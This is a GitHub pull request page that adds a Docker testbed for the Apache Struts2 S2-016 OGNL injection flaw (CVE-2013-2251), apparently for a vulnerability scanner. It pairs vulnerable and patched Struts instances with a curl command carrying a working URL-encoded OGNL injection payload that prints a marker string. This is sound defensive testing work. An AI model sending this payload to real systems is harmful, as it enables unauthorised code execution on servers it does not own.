-
Notifications
You must be signed in to change notification settings - Fork 54
Testbeds/CVE-2013-2251 #232
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
sanjaymahajan14
wants to merge
6
commits into
google:main
Choose a base branch
from
sanjaymahajan14:testbeds/cve-2013-2251
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
6 commits
Select commit
Hold shift + click to select a range
fbb770a
added testbeds for CVE-2013-2251
sanjaymahajan14 2e97179
Update the comment
sanjaymahajan14 970261d
Update the image name
sanjaymahajan14 c94ecf7
Add curl command
sanjaymahajan14 31307fa
Add curl command for testing vulnerable version
sanjaymahajan14 949880e
Add curl command for testing the safe version
sanjaymahajan14 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,38 @@ | ||
| # Apache Struts2 S2-016 DefaultActionMapper OGNL Injection (CVE-2013-2251) | ||
|
|
||
| The redirect and redirectAction prefixes allow unauthenticated remote attackers to execute arbitrary OGNL expressions via manipulated URL parameters, leading to system command execution. | ||
|
|
||
| ## Vulnerable Version | ||
| ### Setup | ||
| Start an Apache Struts2 version 2.3.15: | ||
|
|
||
| ```bash | ||
| docker compose up -d struts2-vuln | ||
| ``` | ||
|
|
||
| ### Testing the vulnerability | ||
| ``` | ||
| curl -X POST 'localhost:8080/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1" | ||
| ``` | ||
| Response: | ||
| ``` | ||
| tsunami1787569 | ||
| ``` | ||
| ## Safe Version | ||
| ### Setup | ||
| Start an Apache Struts2 version 2.3.15.1: | ||
|
|
||
| ```bash | ||
| docker compose up -d struts2-safe | ||
| ``` | ||
|
|
||
| ### Testing the vulnerability | ||
| ``` | ||
| curl -X POST 'localhost:8081/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1" | ||
| ``` | ||
| Response: | ||
| ``` | ||
| ... | ||
| <title>Struts2 Showcase</title> | ||
| ... | ||
| ``` | ||
|
sanjaymahajan14 marked this conversation as resolved.
|
||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,32 @@ | ||
| services: | ||
| # --------------------------------------------------------- | ||
| # VULNERABLE INSTANCE (Port 8080) | ||
| # Downloads the official Struts 2.3.15 vulnerable release on boot | ||
| # --------------------------------------------------------- | ||
| struts2-vuln: | ||
| image: tomcat:8.5-jre8 | ||
| container_name: struts2-vuln | ||
| ports: | ||
| - "8080:8080" | ||
| command: > | ||
| bash -c " | ||
| curl -fsSL https://repo1.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15/struts2-showcase-2.3.15.war -o /usr/local/tomcat/webapps/ROOT.war && | ||
| catalina.sh run | ||
| " | ||
| restart: always | ||
|
sanjaymahajan14 marked this conversation as resolved.
|
||
|
|
||
| # --------------------------------------------------------- | ||
| # PATCHED INSTANCE (Port 8081) | ||
| # Downloads the official Struts 2.3.15.1 patch release on boot | ||
| # --------------------------------------------------------- | ||
| struts2-safe: | ||
| image: tomcat:8.5-jre8 | ||
| container_name: struts2-safe | ||
| ports: | ||
| - "8081:8080" | ||
| command: > | ||
| bash -c " | ||
| curl -fsSL https://repo1.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15.1/struts2-showcase-2.3.15.1.war -o /usr/local/tomcat/webapps/ROOT.war && | ||
| catalina.sh run | ||
| " | ||
| restart: always | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.